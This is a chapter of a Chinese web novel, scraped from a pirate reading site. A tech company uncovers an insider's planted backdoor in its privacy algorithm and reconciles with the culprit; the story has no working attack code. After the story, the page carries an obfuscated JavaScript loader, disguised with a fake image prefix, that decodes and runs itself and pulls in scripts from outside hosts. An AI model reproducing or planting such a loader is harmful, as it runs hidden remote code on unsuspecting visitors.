首页
番外第29章星火燎原
返回
关灯 护眼:关 字号:小

番外第29章星火燎原

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge34567.com,更新快,无弹窗!

    番外第29章星火燎原(第1/2页)
    一、危机前夜
    凌晨两点,“五彩绫镜”项目组的灯光依然通明。
    姚浮萍揉了揉发涩的眼睛,盯着屏幕上滚动的代码。距离“镜面算法”公开测试还有七十二小时,这是龙胆科技转型数据安全领域的核心一战,也是她职业生涯中最重要的项目。
    “浮萍姐,第三层防火墙的压力测试数据出来了。”戴着黑框眼镜的年轻工程师敲了敲门,声音有些迟疑,“流量峰值时,响应延迟比预期高出15%...”
    “拿来我看看。”姚浮萍接过平板,迅速翻看着图表,眉头越皱越紧。
    “五彩绫镜”的核心创新在于“镜面算法”——一种全新的数据隐私保护技术,能够在用户数据被调用时,实时生成虚拟镜像代替真实数据,既满足使用需求又确保隐私安全。理论上完美,实践中却要应对无数突发情况。
    姚浮萍的指尖在屏幕上快速滑动:“调用日志显示,延迟主要发生在镜像生成阶段。我们需要优化GPU分配方案,把优先级重新排序...”
    “可是浮萍姐,”年轻工程师小心翼翼地说,“GPU优化需要硬件配合,现在向采购部申请已经来不及了。而且...而且张经理说,预算已经超支了。”
    张经理,张弛。那个半年前被辞退后又通过竞聘回归的老员工,如今是后勤保障部的负责人。姚浮萍知道他对当年的事耿耿于怀,尤其是她曾怀疑过林晚而间接导致他被调查的那段往事。
    “我去找他谈。”姚浮萍站起身,才发现双腿已经麻木,差点没站稳。
    “浮萍姐,您都三天没回家了。”年轻工程师忍不住说,“要不明天...”
    “没有明天了。”姚浮萍打断他,语气不容置疑,“72小时后,全球五十家媒体会直播我们的公开测试。如果到时候系统崩溃,龙胆科技会在数据安全领域永远失去信誉。”
    她拿起外套,走向电梯。
    走廊另一头,龙胆草的办公室也亮着灯。
    曹辛夷端着热咖啡推门进去时,看见龙胆草站在落地窗前,望着这座沉睡的城市。霓虹灯在他脸上投下明明灭灭的光影。
    “还在担心公开测试?”曹辛夷把咖啡放在桌上。
    龙胆草转过身,眼中有血丝:“刚才得到消息,荆棘科技买通了《科技前沿》的专栏作者,准备在测试当天同步发布一篇‘深度分析’,质疑我们算法的安全性。”
    “意料之中。”曹辛夷语气平静,“自从林晚反水,他们就没停止过找茬。这次不过是换了个更‘文明’的方式。”
    “不止如此。”龙胆草调出手机上的加密邮件,“我安排在荆棘科技内部的人传来消息,他们可能已经掌握了我们算法的某个漏洞,准备在测试时发动攻击。”
    曹辛夷脸色微变:“确定吗?”
    “不确定,但可能性很大。”龙胆草坐回办公椅,手指无意识地敲击着桌面,“浮萍那边压力已经很大了,我不想再给她增加负担。辛夷,我需要你帮我做件事。”
    “你说。”
    “明天一早,你去见《科技前沿》的主编。不,现在就去。”龙胆草看了看表,“用我私人飞机的权限,四个小时后,他应该刚起床喝早茶。”
    曹辛夷挑眉:“威逼还是利诱?”
    “都不是。”龙胆草露出一个意味深长的笑,“是给他一个独家——‘龙胆科技创始人首次披露创业黑历史:我曾是商业间谍的帮凶’。”
    曹辛夷愣住了。
    “有些事,与其让别人用来攻击我们,不如我们自己主动揭开。”龙胆草拉开抽屉,取出一个旧U盘,“这里面是五年前林晚事件的完整记录,包括我当时明知她身份可疑,却仍然选择相信她的那段。我要你原封不动地交给主编。”
    “你疯了?”曹辛夷难得失态,“这会让你个人信誉崩塌,甚至可能影响公司股价!”
    “但如果我现在不说,等到测试当天别人添油加醋地说,那才是真正的灾难。”龙胆草站起身,双手撑在桌上,眼神坚定,“数据安全的核心是什么?是信任。如果我们自己都不敢直面过去的错误,用户凭什么相信我们能保护他们的隐私?”
    曹辛夷沉默良久,终于轻叹一声:“我明白了。但你有没有想过,这么做的代价?”
    “想过。”龙胆草走到她面前,轻轻握住她的手,“五年前,我因为害怕失去而选择隐瞒,结果差点毁了一切。现在,我不想再犯同样的错误。辛夷,你会支持我的,对吗?”
    曹辛夷看着他眼中的疲惫与坚定,心中涌起复杂的情绪。她想起五年前那个雨夜,龙胆草也是这样站在她面前,说要把林晚留下。那时她觉得他太过理想主义,如今她却明白了——正是这种近乎固执的坚持,让龙胆科技走到了今天。
    “我支持你。”她反握住他的手,“但我要陪你一起去。有些事,不该你一个人承担。”
    二、深夜对峙
    与此同时,后勤保障部的办公室里,姚浮萍与张弛的对峙正陷入僵局。
    “姚总监,不是我不配合。”张弛坐在办公椅上,慢条斯理地转着手中的笔,“公司有公司的流程,预算审批需要时间。你们研发部总喜欢搞‘紧急特批’,我们后勤很难做啊。”
    姚浮萍强压着火气:“张经理,这不是第一次了。上周服务器扩容,上上周备用电源升级,每次你都用‘流程’来拖延。公开测试关系到公司未来,你真的要在这个时候计较这些吗?”
    张弛放下笔,眼神冷了下来:“姚总监,你这话我就不爱听了。什么叫‘计较’?我是在按规章制度办事。倒是你们研发部,动不动就‘紧急’‘特批’,把公司当自家后院了?”
    “你...”
    “哦,对了。”张弛打断她,似笑非笑地说,“听说林晚那个前间谍,现在在你们项目组还挺受重视?姚总监真是心胸宽广啊,连差点毁掉公司的人都能原谅。”
    姚浮萍的手指猛然收紧。
    “张弛,”她的声音冷得像冰,“工作上的事,不要扯个人恩怨。”
    “个人恩怨?”张弛站起身,走近两步,“姚浮萍,五年前我被调查的时候,你可没少在龙总面前说我坏话吧?要不是九里香力保,我早就卷铺盖走人了。现在你跟我说不要扯个人恩怨?”
    办公室里的气氛剑拔弩张。
    就在这时,门被推开了。
    “这么热闹?”林晚端着两杯咖啡走进来,仿佛没察觉到紧张的气氛,“浮萍姐,你要的美式。张经理,这是你的拿铁,双倍糖——我记得你喜欢甜的。”
    张弛愣了愣,下意识接过咖啡。
    林晚自然地坐在旁边的沙发上,抿了一口自己的那杯:“刚才在门外听到你们在讨论预算的事。张经理,我有个想法,不知道能不能帮上忙。”
    张弛皱眉:“你?”
    “对,我。”林晚放下杯子,从包里拿出平板,“上周我整理旧档案时发现,三年前公司采购过一批高性能GPU,当时是为了一个后来被砍掉的项目准备的。那批设备一直封存在三号仓库,性能虽然不算最新,但应付临时扩容应该够用。”
    她调出仓库管理系统:“你看,设备编号、规格参数、质检报告都在这里。按照公司固定资产管理规定,闲置超过两年的设备,部门负责人有权申请临时调用,不需要走采购流程。”
    张弛的脸色变了变,接过平板仔细查看。
    姚浮萍惊讶地看着林晚——她怎么会知道这些?又怎么会恰好在这个时候出现?
    “就算设备能用,”张弛还在挣扎,“安装调试也需要时间,而且需要技术人员...”
    “技术人员我有。”林晚微笑,“我认识几个之前在荆棘科技负责硬件架构的老同事,他们三个月前被裁员,现在正找工作。我可以联系他们,按临时外包付酬劳,比正式招聘快得多。”
    张弛盯着她看了很久,终于叹了口气:“林晚,你这是在逼我。”
    “不,我是在帮你。”林晚站起身,走到窗前,背对着他们,“张经理,我知道你对我有意见。五年前的事,我欠公司一个道歉,也欠你一个道歉。但现在是公司最关键的时刻,个人恩怨能不能先放一放?”
    她转过身,眼神清澈:“等测试结束,你想怎么骂我、告我,我都认。但在这之前,让我们先把公司的事做好,行吗?”
    办公室里陷入长久的沉默。
    张弛看着手中逐渐冷却的咖啡,又看了看姚浮萍疲惫却坚定的眼神,最后目光落在林晚身上。这个曾经差点毁掉公司的女人,如今却在想方设法拯救它。
    “设备调用申请单,”他终于开口,声音有些沙哑,“明天一早我给你批。”
    三、镜面之下
    凌晨四点,姚厚朴匆匆赶到公司。
    他原本在家陪怀孕的妻子,接到姚浮萍的电话后立刻赶了过来。此刻,他正盯着屏幕上诡异的代码片段,额头渗出冷汗。
    “这个漏洞...不应该存在。”他喃喃道,“‘镜面算法’的核心逻辑是我和浮萍一起设计的,每一行代码都经过三重审核。这个后门是怎么被植入的?”
    林晚站在他身后,眉头紧锁:“能确定植入时间吗?”
    “日志显示,最后一次无痕修改是在七十二小时前。”姚厚朴调出操作记录,“但修改者的权限等级显示为...最高管理员。”
    “最高管理员只有三个人,”姚浮萍声音发紧,“我,你,还有龙总。”
    办公室里的空气仿佛凝固了。
    “不可能。”姚厚朴摇头,“我们三个都不可能做这种事。”
    (本章未完,请点击下一页继续阅读)番外第29章星火燎原(第2/2页)
    林晚忽然想起什么:“权限可以伪造吗?”
    “理论上可以,但需要...”姚厚朴突然停住,猛地调出另一份日志,“等等,这里有个异常——七十二小时前,系统自动生成了一个临时最高权限账户,有效期三十分钟。这个操作触发者是...是‘五彩绫镜’项目的自动测试程序?”
    “自动测试程序怎么会生成管理员账户?”姚浮萍追问。
    “除非...”林晚和姚厚朴对视一眼,同时说,“除非测试程序被篡改了。”
    姚厚朴的手指在键盘上飞舞,很快调出了测试程序的源代码。在数千行代码中,他找到了被精心隐藏的几行——那是一个条件触发指令:当系统检测到特定压力测试模式时,自动创建一个临时管理员账户,并在三十分钟后自动删除日志记录。
    “这是专业级的黑客手法。”姚厚朴脸色发白,“如果不是我们提前发现了漏洞,等到公开测试那天,这个临时账户就会被激活,对方可以随意操控整个系统...”
    “能追踪到是谁做的吗?”姚浮萍问。
    林晚忽然开口:“让我试试。”
    她接过键盘,双手在键盘上快速敲击。不同于程序员惯用的IDE界面,她打开了一个黑色的命令行窗口,输入一连串复杂的指令。
    “这是在荆棘科技时,我被迫学的一种追踪技术。”她一边操作一边解释,“他们用它来清除入侵痕迹,但反向操作的话,可以找到痕迹的源头。”
    屏幕上,数据流如瀑布般滚动。林晚的眼睛紧紧盯着每一个跳动的字符,额角渗出细密的汗珠。
    五分钟,十分钟,二十分钟...
    “找到了。”她终于停手,指向屏幕上一串加密的IP地址,“信号源在...公司内部?”
    “什么?”姚浮萍和姚厚朴同时凑近。
    林晚调出公司内部的网络拓扑图,将IP地址定位——那是三号仓库的位置。
    “三号仓库?”姚厚朴困惑,“那不是存放旧设备的地方吗?”
    林晚却想到了什么,脸色一变:“刚才我和张弛提到的GPU设备,就在三号仓库。如果有人在那些设备上做了手脚...”
    她的话没说完,但意思已经很清楚。
    姚浮萍立刻拿起电话:“保安部吗?我是姚浮萍,立刻封锁三号仓库,任何人不得进出。对,现在!”
    四、真相与抉择
    三号仓库的门被保安强行打开时,里面的场景让所有人都愣住了。
    成排的服务器机架之间,搭建了一个临时的工作站。屏幕上运行着复杂的监控程序,而坐在电脑前的,竟然是——
    “赵晓峰?”姚浮萍难以置信地看着那个年轻工程师,“怎么是你?”
    赵晓峰,二十五岁,清华计算机系硕士毕业,加入龙胆科技才一年,是姚厚朴亲自带出来的徒弟。三个月前,他还因为“五彩绫镜”项目的创新方案获得了公司的最佳新人奖。
    此刻,这个曾经腼腆害羞的年轻人,却以一种陌生的冷漠眼神看着他们。
    “浮萍姐,厚朴哥。”他缓缓站起身,“你们来得比我想象的早。”
    “为什么?”姚厚朴的声音在颤抖,“我那么信任你,把最重要的模块交给你...”
    “信任?”赵晓峰笑了,笑容里满是苦涩,“厚朴哥,你确实对我很好。但你知道吗,我父亲的公司,三个月前被龙胆科技收购后,被迫裁员三分之一。他在公司干了二十年,最后只拿到三个月工资的补偿金。”
    姚浮萍愣住了。她记得那次收购,是一家传统制造业企业,因为经营不善主动寻求并购。龙胆科技派出的谈判团队给出的条件已经优于市场水平,但...
    “我父亲心脏病发,住院费都付不起。”赵晓峰的眼睛红了,“我去求人力资源部,求九里香总监,她说公司有规定,收购后的员工安置按合同执行,她无能为力。我去求龙总,连他的面都没见到。”
    林晚轻声说:“所以荆棘科技找上你的时候,你答应了?”
    “他们承诺,只要我帮他们拿到‘镜面算法’的源代码,就给我父亲最好的医疗资源,还会安排他进入他们的关联企业工作。”赵晓峰擦掉眼泪,声音却更冷了,“我挣扎过,但当我看到父亲躺在病床上的样子,我告诉自己——龙胆科技这样的大公司,少一个项目不会死。但我父亲只有一个。”
    仓库里一片寂静。
    姚浮萍深吸一口气:“晓峰,你父亲的事,我很抱歉。但这不是你背叛公司的理由,更不是你伤害这么多同事的理由。”
    “伤害?”赵晓峰激动起来,“你们知道被伤害是什么感觉吗?当我父亲因为付不起医药费被迫提前出院的时候,当我母亲深夜打电话哭着说不知道明天该怎么办的时候...你们这些高高在上的高管,懂什么叫伤害吗?”
    “我懂。”
    说话的是林晚。她走上前,在距离赵晓峰三步远的地方停下。
    “五年前,我母亲重病,荆棘科技的人找到我,说只要我帮他们拿到龙胆科技的核心数据,就承担全部医疗费用。”她的声音很平静,却有种穿透人心的力量,“我答应了,就像你现在一样。我以为我没有选择。”
    赵晓峰怔怔地看着她。
    “后来我母亲还是去世了。”林晚继续说,“不是因为没有钱治病,而是因为我在她最后的日子里,每天都在撒谎,每天都在做违背良心的事。她临终前拉着我的手说:‘晚晚,妈宁可死,也不希望你活得这么累。’”
    她的眼眶红了,但声音依然稳定:“晓峰,我理解你的痛苦,真的。但相信我,这条路走下去,你不会得到救赎,只会失去更多。”
    姚厚朴上前一步,将手搭在赵晓峰肩上:“晓峰,你父亲的事,我会负责到底。医疗费、工作,我都会帮你解决。但你必须停止现在在做的事。”
    赵晓峰看着姚厚朴,看着这个像兄长一样教导自己的前辈,又看了看姚浮萍、林晚,还有门口那些曾经一起加班的同事。他们的眼神里,有失望,有愤怒,但更多的是痛心。
    他忽然蹲下身,抱着头哭了出来。
    “对不起...对不起...我只是...我只是不知道该怎么办...”
    姚浮萍示意保安退后,走上前轻轻拍了拍他的背:“现在知道了。犯错不可怕,可怕的是在错误的路上越走越远。晓峰,回头还来得及。”
    五、黎明之前
    清晨六点,龙胆草的办公室里,众人聚齐。
    赵晓峰坐在角落,九里香坐在他身边——她连夜调来了他父亲的病例和安置方案,正在低声和他沟通。
    姚厚朴已经修复了被篡改的代码,姚浮萍正在做最后的压力测试。
    林晚站在窗边,看着天边泛起的鱼肚白。
    龙胆草和曹辛夷从门外走进来,两人眼中都有血丝,但精神尚好。
    “《科技前沿》的主编答应了。”曹辛夷向众人点头,“我们的专访会在公开测试前两小时发布。另外,他提供了荆棘科技收买专栏作者的资金往来证据。”
    “赵晓峰父亲的事,”九里香站起身,“我已经联系了合作的医疗基金会,他们会提供全额资助。至于工作,如果老人家身体允许,我们旗下一家子公司正好需要一位质检顾问,工作强度不大,但待遇不错。”
    赵晓峰抬起头,眼眶又红了:“谢谢...谢谢九里香总监...”
    “不用谢我。”九里香难得露出温和的笑容,“这是我的失职。公司并购后的员工安置,确实需要更人性化的方案。晓峰,等你父亲情况稳定后,我想请你加入人力资源部的‘员工关怀小组’,用你的经历帮助我们避免类似的悲剧。”
    姚浮萍敲下最后一个回车键,长舒一口气:“系统漏洞全部修复,压力测试通过。七十二小时后,我们可以正常进行公开测试。”
    办公室里响起一阵压抑的欢呼。
    龙胆草走到窗前,与林晚并肩而立。晨光透过玻璃,将两人的影子拉长。
    “又一次危机过去了。”他轻声说。
    “每一次危机,都让我们更强大。”林晚望着远方的朝阳,“龙总,谢谢你当年选择相信我。”
    “也谢谢你选择留下。”龙胆草转头看她,“林晚,等这次测试结束,我想正式邀请你担任公司的首席道德官——一个全新的职位,负责监督公司的商业伦理和数据安全伦理。”
    林晚惊讶地睁大眼睛。
    “这个职位非你莫属。”曹辛夷走过来,微笑着递给她一份文件草案,“没有人比你更懂在诱惑与底线之间挣扎的痛苦,也没有人比你更适合帮助公司守住初心。”
    林晚接过草案,手有些颤抖。文件扉页上,有一行手写的字:“以镜为鉴,可正衣冠;以史为鉴,可知兴替;以心为鉴,可明得失。”
    “这是...”
    “我父亲写的。”龙胆草说,“他创办这家公司时,就希望它能成为一面镜子——一面映照科技向善初心的镜子。林晚,你愿意帮我们守护这面镜子吗?”
    林晚看着眼前这些曾经被她伤害、却又最终接纳她的人,泪水模糊了视线。
    “我愿意。”
    窗外,朝阳完全跃出地平线,金色的光芒洒满城市。新的一天开始了,而属于龙胆科技、属于“五彩绫镜”的战斗,才刚刚拉开序幕。
    但这一次,他们不再孤单。
    (番外第二十九章·完)
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF 